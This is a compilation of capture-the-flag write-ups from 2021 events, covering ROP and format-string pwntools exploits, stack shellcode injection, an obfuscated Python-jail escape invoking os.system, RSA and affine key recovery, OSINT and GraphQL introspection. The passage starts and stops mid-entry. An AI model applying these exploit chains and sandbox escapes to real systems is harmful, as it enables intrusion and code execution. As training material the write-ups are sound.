# Send the payloadio.sendlineafter(b'>', payload)
# Got Shell?io.interactive()``` |
# HTB CyberSanta 2021 - Rev Intercept
## DescriptionWe get two files, a data file that captured some (tcp) network traffic and an assembly code snippet of an encryption function.The assumption is that the data that was transferred was encrypted in some way.
## Encryption - intercept.asmThe given asm looks like this:
```assembly .text .globl state .bss .type state, @object .size state, 1state: .zero 1 .text .globl do_encrypt .type do_encrypt, @functiondo_encrypt: push rbp mov rbp, rsp mov eax, edi mov BYTE PTR [rbp-4], al movzx eax, BYTE PTR state[rip] add eax, 19 xor BYTE PTR [rbp-4], al movzx eax, BYTE PTR state[rip] add eax, 55 mov BYTE PTR state[rip], al movzx eax, BYTE PTR [rbp-4] pop rbp ret```
Here it is do_encrypt(), as the name suggests (but who knows) seems to "encrypt" one byte at a time.On function entry, after preserving current frame pointer and pointing to the stack:``` push rbp mov rbp, rsp```the first (and only) arg (EDI) is written to the stack, that is ... into a local variable. Since AL is used that should be some 8 Bit value.``` mov eax, edi mov BYTE PTR [rbp-4], al```then I was struggling a bit about the [rip] syntax but you can read about it [here](https://cs61.seas.harvard.edu/site/2021/Asm/#rip-relative-addressing).From the asm snippet we can see there is some global object with size 1 Byte put into .bss were we can expect it to be initialized to zero. Here we load the value of the global state variable into EAX and 19 to it.``` movzx eax, BYTE PTR state[rip] add eax, 19```Next xor the input (plain text) byte with this modified state value (initially 0 + 19).``` xor BYTE PTR [rbp-4], al```Finally update the global state variable by adding 55 to it (note, before the state value was just fetched and 15 was added, it was not modified in memory)``` movzx eax, BYTE PTR state[rip] add eax, 55 mov BYTE PTR state[rip], al```So after the first byte state should be 55 and the next byte should be XOR'ed with a value of 55+19=74.Last but not least return return the modified byte (and restore stack pointer).
### python functionI came up with basically this python code that should re-assmble the asm crypt code. This should be able to do the reversing as well right ...```pythonstate = 0def crypt(ct): global state x = (state + 19) % 256 res = (ct ^ x) state = (state + 55) return res```
So far so good but what to feed into this function? Let's look into the network data ...
## Network data - intercept.pcap
$ tcpdump -r intercept.pcap -X```reading from file intercept.pcap, link-type IPV4 (Raw IPv4)21:04:29.309412 IP localhost.31337 > 46.16.18.255.1337: Flags [S.], seq 0:6, ack 0, win 8192, length 6 0x0000: 4500 002e 0001 0000 4006 bab9 7f00 0001 E.......@....... 0x0010: 2e10 12ff 7a69 0539 0000 0000 0000 0000 ....zi.9........ 0x0020: 5012 2000 86fc 0000 5b2f edd4 8019 P.......[/....21:04:29.309688 IP localhost.31337 > 46.16.18.255.1337: Flags [S.], seq 0:16, ack 0, win 8192, length 16 0x0000: 4500 0038 0001 0000 4006 baaf 7f00 0001 E..8....@....... 0x0010: 2e10 12ff 7a69 0539 0000 0000 0000 0000 ....zi.9........ 0x0020: 5012 2000 04b5 0000 14e7 eb76 5119 d4fe P..........vQ... 0x0030: 6223 f1d1 9846 38a9 b#...F8.21:04:29.309872 IP localhost.31337 > 46.16.18.255.1337: Flags [S.], seq 0:40, ack 0, win 8192, length 40 0x0000: 4500 0050 0001 0000 4006 ba97 7f00 0001 E..P....@....... 0x0010: 2e10 12ff 7a69 0539 0000 0000 0000 0000 ....zi.9........ 0x0020: 5012 2000 343b 0000 816b 5419 dac0 7b27 P...4;...kT...{' 0x0030: eed9 d35e 09fd ef65 521a c587 7a24 eed1 ...^...eR...z$.. 0x0040: 9b0c 0ae9 f16d 4c02 cc86 773b faa8 924a .....mL...w;...J21:04:29.310054 IP localhost.31337 > 46.16.18.255.1337: Flags [S.], seq 0:48, ack 0, win 8192, length 48 0x0000: 4500 0058 0001 0000 4006 ba8f 7f00 0001 E..X....@....... 0x0010: 2e10 12ff 7a69 0539 0000 0000 0000 0000 ....zi.9........ 0x0020: 5012 2000 c926 0000 2ae9 a12a 2f1d d792 P....&..*..*/... 0x0030: 3d39 eea7 8d59 09f9 f57b 2a16 ddc8 7d33 =9...Y...{*...}3 0x0040: ada5 8f12 08d4 f737 7552 83da 1168 a3e6 .......7uR...h.. 0x0050: cc07 5e8c e920 774e ..^...wN21:04:29.310241 IP localhost.31337 > 46.16.18.255.1337: Flags [S.], seq 0:39, ack 0, win 8192, length 39 0x0000: 4500 004f 0001 0000 4006 ba98 7f00 0001 E..O....@....... 0x0010: 2e10 12ff 7a69 0539 0000 0000 0000 0000 ....zi.9........ 0x0020: 5012 2000 d842 0000 f88d 483f b1bb 8a44 P....B....H?...D 0x0030: 0884 af7d 69e2 c587 4b3b b3be 695d 4fd5 ...}i...K;..i]O. 0x0040: a97b 27e7 d7d0 572c f0bf 6654 05db fe .{'...W,..fT...21:04:29.310421 IP localhost.31337 > 46.16.18.255.1337: Flags [S.], seq 0:72, ack 0, win 8192, length 72 0x0000: 4500 0070 0001 0000 4006 ba77 7f00 0001 [email protected].... 0x0010: 2e10 12ff 7a69 0539 0000 0000 0000 0000 ....zi.9........ 0x0020: 5012 2000 164a 0000 4225 e19b 8248 13e4 P....J..B%...H.. 0x0030: b96a 4e17 8a95 776f e1d8 800b 0bf7 f070 .jN...wo.......p 0x0040: 5719 c0c3 7834 a8f7 a26f 1feb be3d 7119 W...x4...o...=q. 0x0050: dad6 6427 d5f5 8b42 59ea bc3f 3626 ded4 ..d'...BY..?6&.. 0x0060: 6621 d3b0 ca44 1afc e552 274b d6da 1f2a f!...D...R'K...*```
I used wireshark to capture the tcp-payload as raw bytes and put them into some python lists:```python
p1_ = [ 0x5b, 0x2f, 0xed, 0xd4, 0x80, 0x19 ]
p2_ = [ 0x14, 0xe7, 0xeb, 0x76, 0x51, 0x19, 0xd4, 0xfe, 0x62, 0x23, 0xf1, 0xd1, 0x98, 0x46, 0x38, 0xa9 ]
p3_ = [ 0x81, 0x6b, 0x54, 0x19, 0xda, 0xc0, 0x7b, 0x27, 0xee, 0xd9, 0xd3, 0x5e, 0x09, 0xfd, 0xef, 0x65, 0x52, 0x1a, 0xc5, 0x87, 0x7a, 0x24, 0xee, 0xd1, 0x9b, 0x0c, 0x0a, 0xe9, 0xf1, 0x6d, 0x4c, 0x02, 0xcc, 0x86, 0x77, 0x3b, 0xfa, 0xa8, 0x92, 0x4a ]
p4_ = [ 0x2a, 0xe9, 0xa1, 0x2a, 0x2f, 0x1d, 0xd7, 0x92, 0x3d, 0x39, 0xee, 0xa7, 0x8d, 0x59, 0x09, 0xf9, 0xf5, 0x7b, 0x2a, 0x16, 0xdd, 0xc8, 0x7d, 0x33, 0xad, 0xa5, 0x8f, 0x12, 0x08, 0xd4, 0xf7, 0x37, 0x75, 0x52, 0x83, 0xda, 0x11, 0x68, 0xa3, 0xe6, 0xcc, 0x07, 0x5e, 0x8c, 0xe9, 0x20, 0x77, 0x4e ]
p5_ = [ 0xf8, 0x8d, 0x48, 0x3f, 0xb1, 0xbb, 0x8a, 0x44, 0x08, 0x84, 0xaf, 0x7d, 0x69, 0xe2, 0xc5, 0x87, 0x4b, 0x3b, 0xb3, 0xbe, 0x69, 0x5d, 0x4f, 0xd5, 0xa9, 0x7b, 0x27, 0xe7, 0xd7, 0xd0, 0x57, 0x2c, 0xf0, 0xbf, 0x66, 0x54, 0x05, 0xdb, 0xfe ]
p6_ = [ 0x42, 0x25, 0xe1, 0x9b, 0x82, 0x48, 0x13, 0xe4, 0xb9, 0x6a, 0x4e, 0x17, 0x8a, 0x95, 0x77, 0x6f, 0xe1, 0xd8, 0x80, 0x0b, 0x0b, 0xf7, 0xf0, 0x70, 0x57, 0x19, 0xc0, 0xc3, 0x78, 0x34, 0xa8, 0xf7, 0xa2, 0x6f, 0x1f, 0xeb, 0xbe, 0x3d, 0x71, 0x19, 0xda, 0xd6, 0x64, 0x27, 0xd5, 0xf5, 0x8b, 0x42, 0x59, 0xea, 0xbc, 0x3f, 0x36, 0x26, 0xde, 0xd4, 0x66, 0x21, 0xd3, 0xb0, 0xca, 0x44, 0x1a, 0xfc, 0xe5, 0x52, 0x27, 0x4b, 0xd6, 0xda, 0x1f, 0x2a ]```
I was struggling a bit here since wireshark reported some warning (out-of-order) sequence. As well as when looking at the tcp traffic with the "Follow TCP Stream" option in wireshark and comparing to the payload data there is some mismatch. In the "follow-stream" view not all bytes are displayed and frame 5 is skipped. You can see that there is a mismatch in the reported "bytes-in-flight" vs. actual TCP payload byte count.
I just copied all data after the first 40 bytes of the packet and that is what the six lists above show.
## final python script
[crypt.py](crypt.py)
```python######### PAYLOAD 1 - LEN 6 bytesp1_ = [ 0x5b, 0x2f, 0xed, 0xd4, 0x80, 0x19 ]
######### PAYLOAD 1 - LEN 16 bytesp2_ = [ 0x14, 0xe7, 0xeb, 0x76, 0x51, 0x19, 0xd4, 0xfe, 0x62, 0x23, 0xf1, 0xd1, 0x98, 0x46, 0x38, 0xa9 ]
######### PAYLOAD 1 - LEN 40 bytesp3_ = [ 0x81, 0x6b, 0x54, 0x19, 0xda, 0xc0, 0x7b, 0x27, 0xee, 0xd9, 0xd3, 0x5e, 0x09, 0xfd, 0xef, 0x65, 0x52, 0x1a, 0xc5, 0x87, 0x7a, 0x24, 0xee, 0xd1, 0x9b, 0x0c, 0x0a, 0xe9, 0xf1, 0x6d, 0x4c, 0x02, 0xcc, 0x86, 0x77, 0x3b, 0xfa, 0xa8, 0x92, 0x4a ]
######### PAYLOAD 1 - LEN 48 bytesp4_ = [ 0x2a, 0xe9, 0xa1, 0x2a, 0x2f, 0x1d, 0xd7, 0x92, 0x3d, 0x39, 0xee, 0xa7, 0x8d, 0x59, 0x09, 0xf9, 0xf5, 0x7b, 0x2a, 0x16, 0xdd, 0xc8, 0x7d, 0x33, 0xad, 0xa5, 0x8f, 0x12, 0x08, 0xd4, 0xf7, 0x37, 0x75, 0x52, 0x83, 0xda, 0x11, 0x68, 0xa3, 0xe6, 0xcc, 0x07, 0x5e, 0x8c, 0xe9, 0x20, 0x77, 0x4e ]######### PAYLOAD 1 - LEN 39 bytesp5_ = [ 0xf8, 0x8d, 0x48, 0x3f, 0xb1, 0xbb, 0x8a, 0x44, 0x08, 0x84, 0xaf, 0x7d, 0x69, 0xe2, 0xc5, 0x87, 0x4b, 0x3b, 0xb3, 0xbe, 0x69, 0x5d, 0x4f, 0xd5, 0xa9, 0x7b, 0x27, 0xe7, 0xd7, 0xd0, 0x57, 0x2c, 0xf0, 0xbf, 0x66, 0x54, 0x05, 0xdb, 0xfe ]######### PAYLOAD 1 - LEN 72 bytesp6_ = [ 0x42, 0x25, 0xe1, 0x9b, 0x82, 0x48, 0x13, 0xe4, 0xb9, 0x6a, 0x4e, 0x17, 0x8a, 0x95, 0x77, 0x6f, 0xe1, 0xd8, 0x80, 0x0b, 0x0b, 0xf7, 0xf0, 0x70, 0x57, 0x19, 0xc0, 0xc3, 0x78, 0x34, 0xa8, 0xf7, 0xa2, 0x6f, 0x1f, 0xeb, 0xbe, 0x3d, 0x71, 0x19, 0xda, 0xd6, 0x64, 0x27, 0xd5, 0xf5, 0x8b, 0x42, 0x59, 0xea, 0xbc, 0x3f, 0x36, 0x26, 0xde, 0xd4, 0x66, 0x21, 0xd3, 0xb0, 0xca, 0x44, 0x1a, 0xfc, 0xe5, 0x52, 0x27, 0x4b, 0xd6, 0xda, 0x1f, 0x2a ]
payloads = (p1_, p2_, p3_, p4_, p5_, p6_)state = 0num = 1
def crypt(ct): global state x = (state + 19) % 256 res = (ct ^ x) state = (state + 55) return res
for pl in payloads: print('\n######### PAYLOAD {} - LEN {} bytes'.format(num, int(len(pl)))) pl_r = list(reversed(pl)) for ct in pl: x = crypt(ct) print("{}".format(chr(x)), end='') num += 1
print("\n")```
### getting the flag$ python ./crypt.py```######### PAYLOAD 1 - LEN 6 bytesHello?######### PAYLOAD 2 - LEN 16 bytesIs this working?######### PAYLOAD 3 - LEN 40 bytesLooks like the connection is established######### PAYLOAD 4 - LEN 48 bytesOur next meeting will be at at 90.0000, 135.0000######### PAYLOAD 5 - LEN 39 bytesMake sure to bring the stolen presents!######### PAYLOAD 6 - LEN 72 bytesThe password to get in will be HTB{pl41nt3xt_4sm?wh4t_n3xt_s0urc3_c0d3?}```
|
# An Attempt Was Made
was a pwn challenge from MetaCtf 2021.
A kind of restricted ROP. I got first blood on it, and it was pretty fun..
is has a little seccomp to forbid execve, as you can see:
the binary itself as little protection, it is only partial RELRO, and no PIE
the author of the challenge removed the libcsu_init gadgets, that ease the settings of rdi, rsi, rdx..
and very little usefull gadgets are available to set the registers...but..
the almost available add gadget (at least for gcc x64 produced binaries) is present, with a gadget for setting rbp and rbx..
```gadget_add = 0x0000000000401178 # add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; retgadget_pop = 0x00000000004013f2 # pop rbx ; pop rbp ; mov r12, qword ptr [rsp] ; add rsp, 8 ; ret```
and with partial RELRO it's more than enough for us..
so for exploitation, we will change GOT entries with the add gadget, to make them point to various gadgets we need in libc..
as the libc is provided, we know the various offsets from functions addresses in GOT to the gadgets..
one time we change a got entry to make it point to a "pop rdi" gadget
the next time, to a "pop rdx", etc...
you got the idea...
then with the ROP, we do a mprotect on bss to make it RWX..
we call a read, to copy our shellcode to the bss..
then we execute it...
and that's all.. here is the exploit...
```#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *
context.update(arch="amd64", os="linux")context.log_level = 'info'
gadget_add = 0x0000000000401178 # add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; retgadget_pop = 0x00000000004013f2 # pop rbx ; pop rbp ; mov r12, qword ptr [rsp] ; add rsp, 8 ; ret
def add_gadget(address, val): global gadget_add global gadget_pop return p64(gadget_pop)+p64(val & 0xffffffff)+p64(address+0x3d)+p64(0)+p64(gadget_add)
exe = ELF('./chall')libc = ELF('./libc.so.6')rop = ROP(exe)
host, port = "host.cg21.metaproblems.com", "3030"
if args.REMOTE: p = remote(host,port)else: p = process(exe.path)
pop_rbp = 0x0000000000401179 # pop rbp ; ret
# libc gadgetsgadget3 = 0x000000000008ff1d # pop rdi ; retgadget4 = 0x000000000008ef1b # pop rdx ; retgadget5 = 0x0000000000066337 # or esi, edx; movd xmm0, esi; ret;gadget6 = 0x000000000004f549 # xchg eax, esi; ret;gadget7 = 0x000000000006991a # mov rax, rbp; pop rbp; ret;gadget8 = 0x000000000009cfc2 # syscall; ret;
payload = 'A'*0x10+p64(gadget3-libc.symbols['__isoc99_scanf'])+p64(0xdeadcafe)+p64(0xcafebabe)+p64(pop_rbp)+p64(exe.got['__isoc99_scanf']+0x3d)+p64(gadget_add) # change __isoc99_scanf to gadget3
payload += add_gadget(exe.got['setvbuf'], (gadget7-libc.symbols['setvbuf'])) # change setvbuf to gadget7payload += p64(pop_rbp)+p64(0x1000) # set rbp=0x1000payload += p64(exe.symbols['setvbuf'])+p64(0) # set rax = rbppayload += add_gadget(exe.got['setvbuf'], (gadget6-gadget7)) # change setvbuf to gadget6payload += p64(exe.symbols['setvbuf']) # set esi = eax = 0x1000
payload += add_gadget(exe.got['setvbuf'], (gadget4-gadget6)) # change setvbuf to gadget4payload += p64(exe.symbols['__isoc99_scanf'])+p64(0x404000)+p64(exe.symbols['setvbuf'])+p64(7) # set rdi = 0x404000 , then set rdx = 7
payload += add_gadget(exe.got['__isoc99_scanf'], (gadget7-gadget3)) # change __isoc99_scanf to gadget7payload += p64(pop_rbp)+p64(10)+p64(exe.symbols['__isoc99_scanf']) +p64(0) # set rbp=10 then rax=rbp
payload += add_gadget(exe.got['__isoc99_scanf'], (gadget8-gadget7)) # change __isoc99_scanf to gadget8payload += p64(exe.symbols['__isoc99_scanf']) # syscall --> mprotect(0x404000, 0x1000, 7) --> set bss to RWX
payload += add_gadget(exe.got['__isoc99_scanf'], (gadget3-gadget8)) # change __isoc99_scanf to gadget3payload += p64(exe.symbols['__isoc99_scanf']) + p64(0) # set rdi = 0
payload += add_gadget(exe.got['__isoc99_scanf'], (gadget7-gadget3)) # change __isoc99_scanf to gadget7payload += p64(pop_rbp)+p64(0x404800)+p64(exe.symbols['__isoc99_scanf']) + p64(0) # set rbp = 0x404800, then rax = rbp
payload += add_gadget(exe.got['__isoc99_scanf'], (gadget6-gadget7)) # change __isoc99_scanf to gadget6payload += p64(exe.symbols['__isoc99_scanf']) # set rsi = 0x404800
payload += add_gadget(exe.got['__isoc99_scanf'], (gadget4-gadget6)) # change __isoc99_scanf to gadget4payload += p64(exe.symbols['__isoc99_scanf']) + p64(0x100) # set rdx = 0x100
payload += add_gadget(exe.got['__isoc99_scanf'], (gadget7-gadget4)) # change __isoc99_scanf to gadget7payload += p64(pop_rbp)+p64(0)+p64(exe.symbols['__isoc99_scanf']) + p64(0) # set rbp = 0 , then rax = rbp
payload += add_gadget(exe.got['__isoc99_scanf'], (gadget8-gadget7)) # change __isoc99_scanf to gadget8payload += p64(exe.symbols['__isoc99_scanf']) # syscall --> read(0, 0x404800, 0x100)payload += p64(0x404800) # jump to our shellcode
p.sendlineafter('bytes?\n', str(len(payload)))
p.send(payload)
# send our shellcode to the ROP, dump flag.txtshellc = asm(shellcraft.readfile('/chall/flag.txt',1))p.send(shellc)
p.interactive()
```*nobodyisnobody still pwning things...* |
We must answer the correct notes `D -> B -> A -> G -> D`, exploit a format string vuln to leak libc, then trigger a one gadget. We must also use the format string the leak the canary and then place it in the ROP chain so it stys intact, avoiding the SIGABRT
```python#!/usr/bin/env python3
from pwn import *
elf = ELF("./music_notes_patched")libc = ELF("./libc.so.6")ld = ELF("./ld-2.27.so")
context.binary = elf
context.log_level = "debug"
gs = '''continue'''
def conn(): if args.REMOTE: r = remote("68.183.40.128", 30653) else: r = process([elf.path]) if args.GDB: return gdb.debug(elf.path, gdbscript=gs) return r
def getNotes(): # handle the retreival of the notes p.recvuntil(b"Choose note:") Note1 = p.recvline() Note2 = p.recvline() return Note1, Note2
p = conn()
# D B A G DNote1, Note1 = getNotes()if b"D" in Note1: p.sendline(b"1")else: p.sendline(b"2")
Note1, Note1 = getNotes()if b"B" in Note1: p.sendline(b"1")else: p.sendline(b"2")
Note1, Note1 = getNotes()if b"A" in Note1: p.sendline(b"1")else: p.sendline(b"2")Note1, Note1 = getNotes()if b"G" in Note1: p.sendline(b"1")else: p.sendline(b"2")Note1, Note1 = getNotes()
if b"D" in Note1: p.sendline(b"1")else: p.sendline(b"2")
# get stack leak, canary, libcp.sendlineafter(b"> ", b"%31$p %19$p %2$p %1$p")p.recvuntil(b"[*] So, your name is: ")
canary = int(p.recv(18), 16)elf_leak = int(p.recv(15).strip(), 16)libc_leak = int(p.recv(15).strip(), 16)stack_leak = int(p.recv(15).strip(), 16)
success(f"Leaked canary {hex(canary)}")info(f"Leaked elf address {hex(elf_leak)}")elf.address = elf_leak - elf.sym.sheet - 210success(f"Leaked binary base {hex(elf.address)}")
info(f"Leaked libc address {hex(libc_leak)}")libc.address = libc_leak - libc.sym["_IO_stdfile_1_lock"]success(f"Leaked libc base {hex(libc.address)}")
info(f"Leaked stack address {hex(stack_leak)}")rbp = stack_leak + 9936success(f"Found rbp @ {hex(rbp)}")
warning(f"Address of sheet {hex(elf.sym.sheet)}")pop_rdi = 0x0000000000001053pop_rdi_pop_rbp = 0x0000000000022203rop = ROP(libc)binsh = next(libc.search(b"/bin/sh"))#pop_rdi = rop.find_gadget(["pop rdi", "ret"])
rop.raw(p64(elf.sym.sheet))
payload1 = flat({40: p64(canary), 104-8: p64(rbp), 104: p64(0x4f432+libc.address)})
p.sendafter(b":", payload1)
#p.sendafter(b":", payload2)
p.interactive()p.close()``` |
Buffer overflow with without NX (DEP) enabled, allows us to inject shellcode onto the stack and execute it. Walkthrough to follow: https://www.youtube.com/watch?v=deg0CQwwN-M&t=2843s
```pyfrom pwn import *
# Allows you to switch between local/GDB/remote from terminaldef start(argv=[], *a, **kw): if args.GDB: # Set GDBscript below return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: # ('server', 'port') return remote(sys.argv[1], sys.argv[2], *a, **kw) else: # Run locally return process([exe] + argv, *a, **kw)
def find_ip(payload): p = process(exe) p.sendlineafter(b'>', b'1') # Chase joker p.sendlineafter(b'>', payload) # Cyclic pattern # Wait for the process to crash p.wait() # Print out the address of EIP/RIP at the time of crashing # ip_offset = cyclic_find(p.corefile.pc) # x86 ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4)) # x64 info('located EIP/RIP offset at {a}'.format(a=ip_offset)) return ip_offset
# Specify your GDB script here for debugginggdbscript = '''init-pwndbgcontinue'''.format(**locals())
# Set up pwntools for the correct architectureexe = './sleigh'# This will automatically get context arch, bits, os etcelf = context.binary = ELF(exe, checksec=False)# Enable verbose logging so we can see exactly what is being sent (info/debug)context.log_level = 'info'
# ===========================================================# EXPLOIT GOES HERE# ===========================================================
# Pass in pattern_size, get back EIP/RIP offsetoffset = find_ip(cyclic(500))
# Start programio = start()
# Get the stack address (where out navigation commands will go)io.sendlineafter(b'>', b'1')io.recvline()stack_addr = int(re.search(r"(0x[\w\d]+)", io.recvlineS()).group(0), 16)info("leaked stack_addr: %#x", stack_addr)
# Need to pop registers at the beginning to make room on stackshellcode = asm(shellcraft.popad())# Build shellcode (cat flag.txt or spawn shell)shellcode += asm(shellcraft.cat('flag.txt'))# shellcode += asm(shellcraft.sh())# Pad shellcode with NOPs until we get to return addresspadding = asm('nop') * (offset - len(shellcode))
# Build the payloadpayload = flat([ padding, shellcode, stack_addr])
io.sendlineafter(b'>', payload) # Chase joker
# Got Shell?io.interactive()``` |
Affine cipher; recover key using known-plaintext attack. Walkthrough to follow: https://www.youtube.com/watch?v=deg0CQwwN-M&t=764s
```pyimport randomfrom math import gcdfrom Crypto.Util.number import *from pwn import *
# Original encrypt functiondef encrypt(dt): mod = 256 while True: a = random.randint(1, mod) if gcd(a, mod) == 1: break b = random.randint(1, mod)
res = b'' for byte in dt: enc = (a * byte + b) % mod res += bytes([enc]) return res
# Our custom decrypt functiondef decrypt(dt, a, b): res = b'' # Reverse the encrypt operation for byte in dt: # Modular multiplicative inverse function - EAA (Euclidean) byte = (inverse(a, mod) * byte - b) % mod res += bytes([byte]) return res
# http://mathcenter.oxford.emory.edu/site/math125/breakingAffineCiphers/mod = 256 # Range of bytesdt = read('encrypted.bin')m = unhex('255044462D') # Known Plaintext (PDF file header)
# Recover key (a, b) using known plaintext and ciphertext# https://planetcalc.com/3311/a = (dt[1] - dt[0]) * inverse(m[1] - m[0], mod) % modb = (dt[0] - a * m[0]) % mod
# Decryptres = decrypt(dt, a, b)# Write back to PDFwrite('decrypted.pdf', res)``` |
# Common Mistake
In this challenge, a file with two RSA encrypted message is provided.
They have the same modulo  but two different public exponents .
The second message has a really small public exponent (35). So my first attempt was to search for some low public exponent attack provided in RSACtfTool.
However none of the attacks provided by this tool seems to work.So I noticed after a while that the public exponents of these two messages are coprime.
That means: =1).
Recalling the Extended Euclidean Algorithm and Bézout's identity: =a%20e_1%20%2b%20b%20e_2=1).
Under the assumption that the two encrypted messages refer to the same plaintext:
Now if we can obtain the Bézout's identity from the public exponents we can obtain plaintext from:
^a%20(M^{e_2})^b=M^{e_1%20a%2b%20e_2b}=M^1)
**HTB{c0mm0n_m0d_4774ck_15_4n07h3r_cl4ss1c}** |
# I'm lost in the world (OSINT) - WRITEUP
Let's download th given image and google what we can read on the bus: `wsa shuttle`.
It turns out to be the shuttlebus service that [connects Winchester School of Art and Highfield Southampton Campus](https://www.southampton.ac.uk/wsa/about/wsa-transport.page)
In fact, next to the bus we can read on a sign `NST` which stands for [Nuffield Southampton Theatre](https://www.google.it/maps/@50.9361316,-1.3965312,3a,75y,179.8h,86.36t/data=!3m6!1e1!3m4!1spXmbjj-7ubw8F2OUH1W9Jg!2e0!7i16384!8i8192), inside the [Highfield Campus](https://www.southampton.ac.uk/wsa/about/our_university.page), so we can guess that the city we got lost in is Southampton.
Let's submit the flag with the format given: `FLAG{SOUTHAMPTON}` |
# MetaCTF 2021## This Ain't a Scene, It's an Encryption Race (100pts)### Description: >Ransomware attacks continue to negatively impact businesses around the world. What is the Mitre ATT&CK technique ID for the encryption of data in an environment to disrupt business operations?The flag format will be `T####`.
### Step 1 - Resource Gathering:We can use the [MITRE ATT&CK](https://attack.mitre.org/techniques/enterprise/) framework to identify the technique for encryption of data.By navigating to "Impact", since this encryption technique disrupts business operations, we can find the technique ID relatively quickly.
If you're uncertain, the description makes it clear that it causes business disruption.
<details> <summary> Flag Spoiler </summary> T1486</details>
## Learning TakeawaysWe learned about the MITRE ATT&CK framework and how to navigate it, as well as how to find techniques. |
# They all look the same:Misc
They are slightly different
# Solution
同じようなファイルが大量に送られます．まずはsha256ハッシュ値を見てみます．
また，exif情報を見てみます．
Descriptionなどに変なメッセージが見えます．全部見てみましょう．
フラグはこのように思えます．
`SBCTF{H0w_c0uld_y0u_d!st!ngu!shS_SSS!SSSmSSS@SSSgSSS3SSSsSSS_SSS`
しかし，このままだと不自然なので，少し整形します．
## SBCTF{H0w_c0uld_y0u_d!st!ngu!sh_!m@g3s_} |
**I want to break free 2**
Bypass blacklist and abuse builtins python function
`imp=__builtins__.__dict__[chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)](chr(111)+chr(115));print(imp);b64=__builtins__.__dict__[chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)](chr(98)+chr(97)+chr(115)+chr(101)+chr(54)+chr(52));print(b64.b64decode(bytes('YWJjZA==','utf-8')));zyz=getattr(imp,b64.b64decode(b'c3lzdGVt').decode());print(zyz);print(zyz(b64.b64decode(b'Y2F0IGNmNzcyOGJlNzk4MGZkNzcwY2UwM2Q5ZDkzN2Q2ZDQwODczMTBmMDJkYjdmY2JhNmViYmFkMzhiZDY0MWJhMTkudHh0').decode()));`
[https://github.com/ivanmedina/CTFs/blob/master/KillerCTF21/jailpublic/solve.txt](https://github.com/ivanmedina/CTFs/blob/master/KillerCTF21/jailpublic/solve.txt)
Solved by [ivanmedina](https://github.com/ivanmedina/) |
# MetaCTF 2021
## Looking Inwards (300pts)
### Description:
> It's always fun to take a moment of introspection, in this case not about oneself, but about our field (development/security). For example when it comes to API design, first there were SOAP endpoints primarily based on XML. Then as Web 2.0 came along, RESTful APIs became all the rage. Recently, technologies like GraphQL began to gain traction.
> With new technologies, though, come new classes of attacks. Check out this basic [GraphQL API server](https://metaproblems.com/bb0e56b64e0a17b47450457b07fd2353/graphql.php). To get you started, here's one cool thing it can do: If you send it a `query` in the form of `echo(message: "message_here")`, it will respond with what you said. Can you get it to give you the flag?
### Included Files:
> No files provided
### Step 1 - Sending a Query to the GraphQL API
Before we could attempt to find the flag, first we wanted to get a valid response back from the GraphQL server using the query `echo(message: "message_here")` which was provided in the challenge description.
We used the following [tutorial](https://towardsdatascience.com/connecting-to-a-graphql-api-using-python-246dda927840) from `Towards Data Science` which walked us through how to send a GraphQL request using Python. Below allowed us to send that query.
```pythonimport requestsimport pandas as pd
query = '''query { echo(message: "message_here")}'''
url = 'https://metaproblems.com/bb0e56b64e0a17b47450457b07fd2353/graphql.php'r = requests.post(url, json={'query': query})print(r.text)```
Output:
```JSON{"data":{"echo":"You said: message_here"}}```
### Step 2 - Find Other Endpoints on GraphQL API
After a bit of research, we learned we can use a technique called `introspection` on GraphQL APIs to find other endpoints. Using the following [tutorial](https://blog.yeswehack.com/yeswerhackers/how-exploit-graphql-endpoint-bug-bounty/) from `Yes We Hack`, they included the following request:
```{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}```
After putting this request into our script from the previous step, we found the following in the output:
```JSON{ "name": "super_super_secret_flag_dispenser", "description": null, "args": [{ "name": "authorized", "description": null, "type": { "kind": "NON_NULL", "name": null, "ofType": { "kind": "SCALAR", "name": "Boolean", "ofType": null } }, "defaultValue": null }], "type": { "kind": "NON_NULL", "name": null, "ofType": { "kind": "SCALAR", "name": "String", "ofType": null } }, "isDeprecated": false, "deprecationReason": null }], "inputFields": null, "interfaces": [], "enumValues": null, "possibleTypes": null
}```This shows that there is an endpoint called `super_super_secret_flag_dispenser` that takes in a boolean called `authorized`.
## Step 3 - Retrieving the Flag
Using the information from the previous step, we crafted the following query:
```query { super_super_secret_flag_dispenser(authorized: true)}```
Our final script looks like this:
```Pythonimport requestsimport pandas as pd
query = '''query{ super_super_secret_flag_dispenser(authorized: true)}'''
url = 'https://metaproblems.com/bb0e56b64e0a17b47450457b07fd2353/graphql.php'r = requests.post(url, json={'query': query})print(r.text)```
<details><summary> Output (contains the flag) </summary>{"data":{"super_super_secret_flag_dispenser":"MetaCTF{look_deep_and_who_knows_what_you_might_find}"}}</details>
{"data":{"super_super_secret_flag_dispenser":"MetaCTF{look_deep_and_who_knows_what_you_might_find}"}}
<details> <summary> Flag Spoiler </summary> MetaCTF{look_deep_and_who_knows_what_you_might_find}</details>
## Learning TakeawaysWe can use introspection in order to discover endpoints of a GraphQL API. GraphQL APIs can disable introspection and it is a recommended practice for production. Well-made documentation is preferred. Python is a powerful tool for completing GraphQL challenges in the future. |
Meet-in-the-middle attack (video walkthrough to follow: https://www.youtube.com/watch?v=JJD45W-C9mQ&t=2169s)
```pyfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import padfrom itertools import productfrom pwn import *
